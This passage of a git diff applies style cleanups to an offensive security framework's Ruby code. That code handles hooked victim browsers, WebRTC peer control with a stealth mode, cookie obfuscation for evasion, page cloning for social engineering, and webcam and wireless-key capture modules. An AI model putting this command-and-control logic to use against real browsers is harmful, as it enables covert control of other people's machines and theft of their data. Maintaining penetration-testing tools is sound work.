http_message['start_string'].include?('POST') # Get result from POST query @@ -123,12 +120,12 @@ def self.handle_victim(socket, http_message) # Read query on which asked victim query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2] - log '[Victim]asked path: ' + query + "\n" + log "[Victim]asked path: #{query}\n" length = http_message['headers']['Content-Length'].to_i content_type = http_message['headers']['Content-Type'] - log '[Victim]Content-type: ' + content_type.to_s + "\n" - log '[Vicitm]Length: ' + length.to_s + "\n" + log "[Victim]Content-type: #{content_type}\n" + log "[Vicitm]Length: #{length}\n" response = http_message['response'] log "[Victim]Get content!\n" @@ -157,7 +154,7 @@ def self.handle_victim(socket, http_message) @mutex_queries.lock log "[Victim]Get the last query\n" last_query = @queries.pop - log '[Victim]Last query:' + last_query.to_s + "\n" + log "[Victim]Last query:#{last_query}\n" @mutex_queries.unlock response = last_query[2] @@ -175,7 +172,7 @@ def self.handle_owner(socket, http_message) if http_message['start_string'].include?('GET') unless path.nil? - log '[Owner]Need path: ' + path + "\n" + log "[Owner]Need path: #{path}\n" @queries.push(['GET', path, '']) end elsif http_message['start_string'].include?('POST') diff --git a/extensions/etag/etag.rb b/extensions/etag/etag.rb index 51425af55b..8bb1779045 100644 --- a/extensions/etag/etag.rb +++ b/extensions/etag/etag.rb @@ -11,6 +11,7 @@ module ETag class ETagMessages include Singleton + attr_accessor :messages def initialize diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index 1ebfc0ee08..1d0f215613 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -29,7 +29,6 @@ def execute(input, config) @output.gsub!(var, value) print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" end - @output end if config.get('beef.extension.evasion.scramble_cookies') @@ -44,8 +43,6 @@ def execute(input, config) print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]" end end - - @output end end end diff --git a/extensions/metasploit/rest/msf.rb b/extensions/metasploit/rest/msf.rb index e848e4a713..0cd24f860e 100644 --- a/extensions/metasploit/rest/msf.rb +++ b/extensions/metasploit/rest/msf.rb @@ -127,7 +127,7 @@ class InvalidParamError < StandardError def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/msf handler' message = format str, message unless message.nil? - super(message) + super end end end diff --git a/extensions/metasploit/rpcclient.rb b/extensions/metasploit/rpcclient.rb index a7502c0f90..0cd9a74f33 100644 --- a/extensions/metasploit/rpcclient.rb +++ b/extensions/metasploit/rpcclient.rb @@ -119,7 +119,7 @@ def release_lock end def call(meth, *args) - super(meth, *args) + super rescue StandardError => e print_error "[Metasploit] RPC call to '#{meth}' failed: #{e}" print_error e.backtrace diff --git a/extensions/network/rest/network.rb b/extensions/network/rest/network.rb index f5a9563b23..a7a5a53959 100644 --- a/extensions/network/rest/network.rb +++ b/extensions/network/rest/network.rb @@ -178,7 +178,7 @@ class InvalidParamError < StandardError def initialize(message = nil) message = "Invalid \"#{message}\" parameter passed to /api/network handler" unless message.nil? - super(message) + super end end end diff --git a/extensions/notifications/channels/ntfy.rb b/extensions/notifications/channels/ntfy.rb index 343d503cdc..ad4895f1ed 100644 --- a/extensions/notifications/channels/ntfy.rb +++ b/extensions/notifications/channels/ntfy.rb @@ -6,7 +6,6 @@ module Extension module Notifications module Channels class Ntfy - # Constructor def initialize(message) @config = BeEF::Core::Configuration.instance @@ -36,7 +35,6 @@ def initialize(message) # Send request http.request(req) end - end end end diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb index b42179b406..ca38d76eb9 100644 --- a/extensions/notifications/notifications.rb +++ b/extensions/notifications/notifications.rb @@ -9,7 +9,6 @@ require 'extensions/notifications/channels/slack_workspace' require 'extensions/notifications/channels/ntfy' - module BeEF module Extension module Notifications @@ -38,7 +37,6 @@ def initialize(from, event, time_now, hb) BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true BeEF::Extension::Notifications::Channels::Ntfy.new(message) if @config.get('beef.extension.notifications.ntfy.enable') == true - end end end diff --git a/extensions/proxy/api.rb b/extensions/proxy/api.rb index 21bdbbaa60..ddc1c1c60c 100644 --- a/extensions/proxy/api.rb +++ b/extensions/proxy/api.rb @@ -12,7 +12,7 @@ module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') def self.pre_http_start(http_hook_server) - config = BeEF::Core::Configuration.instance + BeEF::Core::Configuration.instance Thread.new do http_hook_server.semaphore.synchronize do BeEF::Extension::Proxy::Proxy.new diff --git a/extensions/proxy/rest/proxy.rb b/extensions/proxy/rest/proxy.rb index 3753103dfe..952f335e89 100644 --- a/extensions/proxy/rest/proxy.rb +++ b/extensions/proxy/rest/proxy.rb @@ -73,7 +73,7 @@ class InvalidParamError < StandardError def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/proxy handler' message = format str, message unless message.nil? - super(message) + super end end end diff --git a/extensions/qrcode/qrcode.rb b/extensions/qrcode/qrcode.rb index 6f4df29019..a56c0889e4 100644 --- a/extensions/qrcode/qrcode.rb +++ b/extensions/qrcode/qrcode.rb @@ -28,15 +28,16 @@ def self.pre_http_start(_http_hook_server) fullurls << target # relative URLs else - + # Retrieve the list of network interfaces from BeEF::Core::Console::Banners interfaces = BeEF::Core::Console::Banners.interfaces - if not interfaces.nil? and not interfaces.empty? # If interfaces are available, iterate over each network interface + if !interfaces.nil? and !interfaces.empty? # If interfaces are available, iterate over each network interface # If interfaces are available, iterate over each network interface interfaces.each do |int| # Skip the loop iteration if the interface address is '0.0.0.0' (which generally represents all IPv4 addresses on the local machine) next if int == '0.0.0.0' + # Construct full URLs using the network interface address, and add them to the fullurls array # The URL is composed of the BeEF protocol, interface address, BeEF port, and the target path fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}" diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index 6c3f729900..81b75b3f01 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -106,13 +106,13 @@ def requester_parse_db_request(http_db_object) req_parts.each_with_index do |value, index| if verb.eql?('POST') if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data - header_key = value.split(/: /)[0] - header_value = value.split(/: /)[1] + header_key = value.split(': ')[0] + header_value = value.split(': ')[1] headers[header_key] = header_value end elsif index.positive? - header_key = value.split(/: /)[0] - header_value = value.split(/: /)[1] + header_key = value.split(': ')[0] + header_value = value.split(': ')[1] headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version end end diff --git a/extensions/requester/rest/requester.rb b/extensions/requester/rest/requester.rb index 76585bddb1..112fe023bf 100644 --- a/extensions/requester/rest/requester.rb +++ b/extensions/requester/rest/requester.rb @@ -160,7 +160,7 @@ class RequesterRest < BeEF::Core::Router::Router # Validate target hsot host = req_parts[4] - host_parts = host.split(/:/) + host_parts = host.split(':') host_name = host_parts[0] host_port = host_parts[1] || nil @@ -230,7 +230,7 @@ def response2hash(http) response_data = '' unless http.response_data.nil? - if (http.response_data.length > (1024 * 100)) # more than 100K + if http.response_data.length > (1024 * 100) # more than 100K response_data = http.response_data[0..(1024 * 100)] response_data += "\n<---------- Response Data Truncated---------->" else @@ -271,7 +271,7 @@ class InvalidParamError < StandardError def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/requester handler' message = format str, message unless message.nil? - super(message) + super end end end diff --git a/extensions/s2c_dns_tunnel/dnsd.rb b/extensions/s2c_dns_tunnel/dnsd.rb index aa9ef8f701..0094b22a9f 100644 --- a/extensions/s2c_dns_tunnel/dnsd.rb +++ b/extensions/s2c_dns_tunnel/dnsd.rb @@ -34,7 +34,7 @@ class Server < RubyDNS::Server attr_accessor :messages def initialize - super() + super @lock = Mutex.new end diff --git a/extensions/s2c_dns_tunnel/extension.rb b/extensions/s2c_dns_tunnel/extension.rb index 491963bfe1..3100675754 100644 --- a/extensions/s2c_dns_tunnel/extension.rb +++ b/extensions/s2c_dns_tunnel/extension.rb @@ -7,6 +7,7 @@ module BeEF module Extension module ServerClientDnsTunnel extend BeEF::API::Extension + @short_name = 'S2C DNS Tunnel' @full_name = 'Server-to-Client DNS Tunnel' @description = 'This extension provides a custom BeEF DNS server and HTTP server ' \ diff --git a/extensions/s2c_dns_tunnel/httpd.rb b/extensions/s2c_dns_tunnel/httpd.rb index ef775e6cc4..add8c4c958 100644 --- a/extensions/s2c_dns_tunnel/httpd.rb +++ b/extensions/s2c_dns_tunnel/httpd.rb @@ -8,7 +8,7 @@ def initialize(domain) end get '/map' do - if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$") + if request.host.match("^_ldap._tcp.[0-9a-z-]+.domains._msdcs.#{@domain}$") path = File.dirname(__FILE__) send_file File.join(path, 'pixel.jpg') end diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index fad2145009..58a4d53bcf 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -52,12 +52,12 @@ class SEngRest < BeEF::Core::Router::Router success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof) if success - result = { + { 'success' => true, 'mount' => mount }.to_json else - result = { + { 'success' => false }.to_json halt 500 diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 67fab749d4..200471cf75 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -55,7 +55,6 @@ def clone_page(url, mount, use_existing, dns_spoof) if line.include?('
hb.id, :has_sent => "waiting").each { |h| + BeEF::Core::Models::RtcSignal.where(target_hooked_browser_id: hb.id, has_sent: 'waiting').each { |h| # output << self.requester_parse_db_request(h) rtcsignaloutput << h.signal - h.has_sent = "sent" + h.has_sent = 'sent' h.save } # Get all RTCManagement messages for this browser - BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h| + BeEF::Core::Models::RtcManage.where(hooked_browser_id: hb.id, has_sent: 'waiting').each { |h| rtcmanagementoutput << h.message - h.has_sent = "sent" + h.has_sent = 'sent' h.save } @@ -50,33 +48,40 @@ def requester_run(hb, body) ws = BeEF::Core::Websocket::Websocket.instance # todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again. - #todo antisnatchor: remove this gsub crap adding some hook packing. + # todo antisnatchor: remove this gsub crap adding some hook packing. # The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not # Hopefully this still works - if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) - - rtcsignaloutput.each {|o| - add_rtcsignal_to_body o - } unless rtcsignaloutput.empty? - rtcmanagementoutput.each {|o| - add_rtcmanagement_to_body o - } unless rtcmanagementoutput.empty? + if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session) + + unless rtcsignaloutput.empty? + rtcsignaloutput.each { |o| + add_rtcsignal_to_body o + } + end + unless rtcmanagementoutput.empty? + rtcmanagementoutput.each { |o| + add_rtcmanagement_to_body o + } + end # ws.send(content + @body,hb.session) - ws.send(@body,hb.session) - #if we use WebSockets, just reply wih the component contents + ws.send(@body, hb.session) + # if we use WebSockets, just reply wih the component contents else # if we use XHR-polling, add the component to the main hook file - rtcsignaloutput.each {|o| - add_rtcsignal_to_body o - } unless rtcsignaloutput.empty? - rtcmanagementoutput.each {|o| - add_rtcmanagement_to_body o - } unless rtcmanagementoutput.empty? + unless rtcsignaloutput.empty? + rtcsignaloutput.each { |o| + add_rtcsignal_to_body o + } + end + unless rtcmanagementoutput.empty? + rtcmanagementoutput.each { |o| + add_rtcmanagement_to_body o + } + end end - end def add_rtcsignal_to_body(output) - @body << %Q{ + @body << " beef.execute(function() { var peerid = null; for (k in beefrtcs) { @@ -92,17 +97,16 @@ def add_rtcsignal_to_body(output) ); } }); - } + " end def add_rtcmanagement_to_body(output) - @body << %Q{ + @body << " beef.execute(function() { #{output} }); - } + " end - end end end diff --git a/extensions/webrtc/extension.rb b/extensions/webrtc/extension.rb index afc1e47881..d07fd53ddc 100644 --- a/extensions/webrtc/extension.rb +++ b/extensions/webrtc/extension.rb @@ -4,17 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module WebRTC + module Extension + module WebRTC + extend BeEF::API::Extension - extend BeEF::API::Extension - - @short_name = 'webrtc' - @full_name = 'WebRTC' - @description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC' - -end -end + @short_name = 'webrtc' + @full_name = 'WebRTC' + @description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC' + end + end end require 'extensions/webrtc/models/rtcsignal' diff --git a/extensions/webrtc/handlers.rb b/extensions/webrtc/handlers.rb index 7c9f97d87f..895f8f7954 100644 --- a/extensions/webrtc/handlers.rb +++ b/extensions/webrtc/handlers.rb @@ -6,50 +6,61 @@ module BeEF module Extension module WebRTC - # # The http handler that manages the WebRTC signals sent from browsers to other browsers. # class SignalHandler - R = BeEF::Core::Models::RtcSignal Z = BeEF::Core::Models::HookedBrowser def initialize(data) @data = data - setup() + setup end - def setup() - + def setup # validates the hook token beef_hook = @data['beefhook'] || nil - (print_error "beefhook is null";return) if beef_hook.nil? + if beef_hook.nil? + print_error 'beefhook is null' + return + end # validates the target hook token target_beef_id = @data['results']['targetbeefid'] || nil - (print_error "targetbeefid is null";return) if target_beef_id.nil? + if target_beef_id.nil? + print_error 'targetbeefid is null' + return + end # validates the signal signal = @data['results']['signal'] || nil - (print_error "Signal is null";return) if signal.nil? + if signal.nil? + print_error 'Signal is null' + return + end # validates that a hooked browser with the beef_hook token exists in the db - zombie_db = Z.first(:session => beef_hook) || nil - (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? + zombie_db = Z.first(session: beef_hook) || nil + if zombie_db.nil? + print_error 'Invalid beefhook id: the hooked browser cannot be found in the database' + return + end # validates that a target browser with the target_beef_token exists in the db - target_zombie_db = Z.first(:id => target_beef_id) || nil - (print_error "Invalid targetbeefid: the target hooked browser cannot be found in the database";return) if target_zombie_db.nil? + target_zombie_db = Z.first(id: target_beef_id) || nil + if target_zombie_db.nil? + print_error 'Invalid targetbeefid: the target hooked browser cannot be found in the database' + return + end # save the results in the database signal = R.new( - :hooked_browser_id => zombie_db.id, - :target_hooked_browser_id => target_zombie_db.id, - :signal => signal + hooked_browser_id: zombie_db.id, + target_hooked_browser_id: target_zombie_db.id, + signal: signal ) signal.save - end end @@ -57,107 +68,119 @@ def setup() # The http handler that manages the WebRTC messages sent from browsers. # class MessengeHandler - Z = BeEF::Core::Models::HookedBrowser def initialize(data) @data = data - setup() + setup end - def setup() + def setup # validates the hook token beef_hook = @data['beefhook'] || nil - (print_error "beefhook is null";return) if beef_hook.nil? + if beef_hook.nil? + print_error 'beefhook is null' + return + end # validates the target hook token peer_id = @data['results']['peerid'] || nil - (print_error "peerid is null";return) if peer_id.nil? + if peer_id.nil? + print_error 'peerid is null' + return + end # validates the message message = @data['results']['message'] || nil - (print_error "Message is null";return) if message.nil? + if message.nil? + print_error 'Message is null' + return + end # validates that a hooked browser with the beef_hook token exists in the db - zombie_db = Z.first(:session => beef_hook) || nil - (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? + zombie_db = Z.first(session: beef_hook) || nil + if zombie_db.nil? + print_error 'Invalid beefhook id: the hooked browser cannot be found in the database' + return + end # validates that a browser with the peerid exists in the db - peer_zombie_db = Z.first(:id => peer_id) || nil - (print_error "Invalid peer_id: the peer hooked browser cannot be found in the database";return) if peer_zombie_db.nil? + peer_zombie_db = Z.first(id: peer_id) || nil + if peer_zombie_db.nil? + print_error 'Invalid peer_id: the peer hooked browser cannot be found in the database' + return + end # Writes the event into the BeEF Logger BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}") # Perform logic depending on message (updating database) - puts "message = '" + message + "'" - if (message == "ICE Status: connected") + puts "message = '#{message}'" + if message == 'ICE Status: connected' # Find existing status message - stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + stat = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: zombie_db.id, target_hooked_browser_id: peer_zombie_db.id) || nil unless stat.nil? - stat.status = "Connected" - stat.updated_at = Time.now - stat.save + stat.status = 'Connected' + stat.updated_at = Time.now + stat.save end - stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + stat2 = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: peer_zombie_db.id, target_hooked_browser_id: zombie_db.id) || nil unless stat2.nil? - stat2.status = "Connected" - stat2.updated_at = Time.now - stat2.save + stat2.status = 'Connected' + stat2.updated_at = Time.now + stat2.save end - elsif (message.end_with?("disconnected")) - stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + elsif message.end_with?('disconnected') + stat = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: zombie_db.id, target_hooked_browser_id: peer_zombie_db.id) || nil unless stat.nil? - stat.status = "Disconnected" - stat.updated_at = Time.now - stat.save + stat.status = 'Disconnected' + stat.updated_at = Time.now + stat.save end - stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + stat2 = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: peer_zombie_db.id, target_hooked_browser_id: zombie_db.id) || nil unless stat2.nil? - stat2.status = "Disconnected" - stat2.updated_at = Time.now - stat2.save + stat2.status = 'Disconnected' + stat2.updated_at = Time.now + stat2.save end - elsif (message == "Stayin alive") - stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + elsif message == 'Stayin alive' + stat = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: zombie_db.id, target_hooked_browser_id: peer_zombie_db.id) || nil unless stat.nil? - stat.status = "Stealthed!!" - stat.updated_at = Time.now - stat.save + stat.status = 'Stealthed!!' + stat.updated_at = Time.now + stat.save end - stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + stat2 = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: peer_zombie_db.id, target_hooked_browser_id: zombie_db.id) || nil unless stat2.nil? - stat2.status = "Peer-controlled stealth-mode" - stat2.updated_at = Time.now - stat2.save + stat2.status = 'Peer-controlled stealth-mode' + stat2.updated_at = Time.now + stat2.save end - elsif (message == "Coming out of stealth...") - stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil + elsif message == 'Coming out of stealth...' + stat = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: zombie_db.id, target_hooked_browser_id: peer_zombie_db.id) || nil unless stat.nil? - stat.status = "Connected" - stat.updated_at = Time.now - stat.save + stat.status = 'Connected' + stat.updated_at = Time.now + stat.save end - stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil + stat2 = BeEF::Core::Models::Rtcstatus.first(hooked_browser_id: peer_zombie_db.id, target_hooked_browser_id: zombie_db.id) || nil unless stat2.nil? - stat2.status = "Connected" - stat2.updated_at = Time.now - stat2.save + stat2.status = 'Connected' + stat2.updated_at = Time.now + stat2.save end - elsif (message.start_with?("execcmd")) - mod = /\(\/command\/(.*)\.js\)/.match(message)[1] + elsif message.start_with?('execcmd') + mod = %r{\(/command/(.*)\.js\)}.match(message)[1] resp = /Result:.(.*)/.match(message)[1] - stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id, - :target_hooked_browser_id => peer_zombie_db.id, - :command_module_id => mod, - :status => resp, - :created_at => Time.now, - :updated_at => Time.now) + stat = BeEF::Core::Models::Rtcmodulestatus.new(hooked_browser_id: zombie_db.id, + target_hooked_browser_id: peer_zombie_db.id, + command_module_id: mod, + status: resp, + created_at: Time.now, + updated_at: Time.now) stat.save end - end - end end end diff --git a/extensions/webrtc/models/rtcmanage.rb b/extensions/webrtc/models/rtcmanage.rb index 04e5a55ffb..faeefa9cab 100644 --- a/extensions/webrtc/models/rtcmanage.rb +++ b/extensions/webrtc/models/rtcmanage.rb @@ -4,44 +4,41 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Table stores the queued up JS commands for managing the client-side webrtc logic. - # - class RtcManage < BeEF::Core::Model - - # Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver - def self.initiate(caller, receiver, verbosity = false) - stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers") - turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers") + module Core + module Models + # + # Table stores the queued up JS commands for managing the client-side webrtc logic. + # + class RtcManage < BeEF::Core::Model + # Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver + def self.initiate(caller, receiver, verbosity = false) + stunservers = BeEF::Core::Configuration.instance.get('beef.extension.webrtc.stunservers') + turnservers = BeEF::Core::Configuration.instance.get('beef.extension.webrtc.turnservers') - # Add the beef.webrtc.start() JavaScript call into the RtcManage table - this will be picked up by the browser on next hook.js poll - # This is for the Receiver - r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") - r.save! - - # This is the same beef.webrtc.start() JS call, but for the Caller - r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") - r.save! - end + # Add the beef.webrtc.start() JavaScript call into the RtcManage table - this will be picked up by the browser on next hook.js poll + # This is for the Receiver + r = BeEF::Core::Models::RtcManage.new(hooked_browser_id: receiver, message: "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") + r.save! - # Advises a browser to send an RTCDataChannel message to its peer - # Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call - def self.sendmsg(from, to, message) - r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');") - r.save! - end + # This is the same beef.webrtc.start() JS call, but for the Caller + r = BeEF::Core::Models::RtcManage.new(hooked_browser_id: caller, message: "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") + r.save! + end - # Gets the browser to run the beef.webrtc.status() JavaScript function - # This JS function will return it's values to the /rtcmessage handler - def self.status(id) - r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});") - r.save! - end + # Advises a browser to send an RTCDataChannel message to its peer + # Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call + def self.sendmsg(from, to, message) + r = BeEF::Core::Models::RtcManage.new(hooked_browser_id: from, message: "beefrtcs[#{to}].sendPeerMsg('#{message}');") + r.save! + end + # Gets the browser to run the beef.webrtc.status() JavaScript function + # This JS function will return it's values to the /rtcmessage handler + def self.status(id) + r = BeEF::Core::Models::RtcManage.new(hooked_browser_id: id, message: "beef.webrtc.status(#{id});") + r.save! + end + end + end end - -end -end end diff --git a/extensions/webrtc/models/rtcmodulestatus.rb b/extensions/webrtc/models/rtcmodulestatus.rb index b1f64c26be..c9feb23e2b 100644 --- a/extensions/webrtc/models/rtcmodulestatus.rb +++ b/extensions/webrtc/models/rtcmodulestatus.rb @@ -5,22 +5,17 @@ # module BeEF -module Core -module Models - # - # Table stores the webrtc status information - # This includes things like connection status, and executed modules etc - # - - - class Rtcmodulestatus < BeEF::Core::Model - - belongs_to :hooked_browser - belongs_to :command_module - + module Core + module Models + # + # Table stores the webrtc status information + # This includes things like connection status, and executed modules etc + # + class Rtcmodulestatus < BeEF::Core::Model + belongs_to :hooked_browser + belongs_to :command_module + end + end end - -end -end end diff --git a/extensions/webrtc/models/rtcsignal.rb b/extensions/webrtc/models/rtcsignal.rb index 41cb6513a2..e9df3fd3cc 100644 --- a/extensions/webrtc/models/rtcsignal.rb +++ b/extensions/webrtc/models/rtcsignal.rb @@ -4,17 +4,14 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser - # - class RtcSignal < BeEF::Core::Model - - belongs_to :hooked_browser - + module Core + module Models + # + # Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser + # + class RtcSignal < BeEF::Core::Model + belongs_to :hooked_browser + end + end end - -end -end end diff --git a/extensions/webrtc/models/rtcstatus.rb b/extensions/webrtc/models/rtcstatus.rb index 0a0a21ec03..8413c4b5a1 100644 --- a/extensions/webrtc/models/rtcstatus.rb +++ b/extensions/webrtc/models/rtcstatus.rb @@ -5,20 +5,16 @@ # module BeEF -module Core -module Models - # - # Table stores the webrtc status information - # This includes things like connection status, and executed modules etc - # - - - class Rtcstatus < BeEF::Core::Model - - belongs_to :hooked_browser + module Core + module Models + # + # Table stores the webrtc status information + # This includes things like connection status, and executed modules etc + # + class Rtcstatus < BeEF::Core::Model + belongs_to :hooked_browser + end + end end - -end -end end diff --git a/extensions/webrtc/rest/webrtc.rb b/extensions/webrtc/rest/webrtc.rb index 752efacd3c..6bb564bb10 100644 --- a/extensions/webrtc/rest/webrtc.rb +++ b/extensions/webrtc/rest/webrtc.rb @@ -84,7 +84,7 @@ class WebRTCRest < BeEF::Core::Router::Router return result.to_json end - if verbose.to_s =~ (/^(true|t|yes|y|1)$/i) + if verbose.to_s =~ /^(true|t|yes|y|1)$/i BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true) else BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i) @@ -468,7 +468,7 @@ class InvalidParamError < StandardError def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/webrtc handler' message = format str, message unless message.nil? - super(message) + super end end end diff --git a/extensions/xssrays/rest/xssrays.rb b/extensions/xssrays/rest/xssrays.rb index 0f10ca5455..5f5a559a3c 100644 --- a/extensions/xssrays/rest/xssrays.rb +++ b/extensions/xssrays/rest/xssrays.rb @@ -204,7 +204,7 @@ class InvalidParamError < StandardError def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/xssrays handler' message = format str, message unless message.nil? - super(message) + super end end end diff --git a/modules/browser/webcam_html5/module.rb b/modules/browser/webcam_html5/module.rb index 62c755c2a8..9e8ec3df99 100644 --- a/modules/browser/webcam_html5/module.rb +++ b/modules/browser/webcam_html5/module.rb @@ -8,9 +8,10 @@ class Webcam_html5 < BeEF::Core::Command def self.options [ { 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Screenshot size', 'store_type' => 'arraystore', 'store_fields' => ['choice'], - 'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true }, + 'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true } ] end + def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? diff --git a/modules/exploits/firephp/module.rb b/modules/exploits/firephp/module.rb index be470a439b..14e8861ae5 100644 --- a/modules/exploits/firephp/module.rb +++ b/modules/exploits/firephp/module.rb @@ -31,7 +31,7 @@ def pre_send '7' => rand(10).to_s, '8' => rand(10).to_s, '9' => rand(10).to_s, - "" => rand_str } }.to_json diff --git a/modules/host/get_internal_ip_webrtc/module.rb b/modules/host/get_internal_ip_webrtc/module.rb index b73273edfa..2f8f882d36 100755 --- a/modules/host/get_internal_ip_webrtc/module.rb +++ b/modules/host/get_internal_ip_webrtc/module.rb @@ -15,7 +15,7 @@ def post_execute return unless @datastore['results'] =~ /IP is ([\d.,]+)/ # save the network host - ips = Regexp.last_match(1).to_s.split(/,/) + ips = Regexp.last_match(1).to_s.split(',') session_id = @datastore['beefhook'] if !ips.nil? && !ips.empty? os = BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name') diff --git a/modules/host/get_wireless_keys/module.rb b/modules/host/get_wireless_keys/module.rb index 30d415675e..1eca1e897c 100644 --- a/modules/host/get_wireless_keys/module.rb +++ b/modules/host/get_wireless_keys/module.rb @@ -14,7 +14,7 @@ def post_execute save content filename = "#{$home_dir}/exported_wlan_profiles_#{ip}_-_#{timestamp}_#{@datastore['cid']}.xml" f = File.open(filename, 'w+') - f.write((@datastore['results']).sub('result=', '')) + f.write(@datastore['results'].sub('result=', '')) writeToResults = {} writeToResults['data'] = "Please import #{filename} into your windows machine" BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'], @friendlyname, writeToResults, 0) diff --git a/modules/host/hook_default_browser/module.rb b/modules/host/hook_default_browser/module.rb index e544bbd8fa..5fd058b189 100644 --- a/modules/host/hook_default_browser/module.rb +++ b/modules/host/hook_default_browser/module.rb @@ -6,9 +6,9 @@ class Hook_default_browser < BeEF::Core::Command def self.options 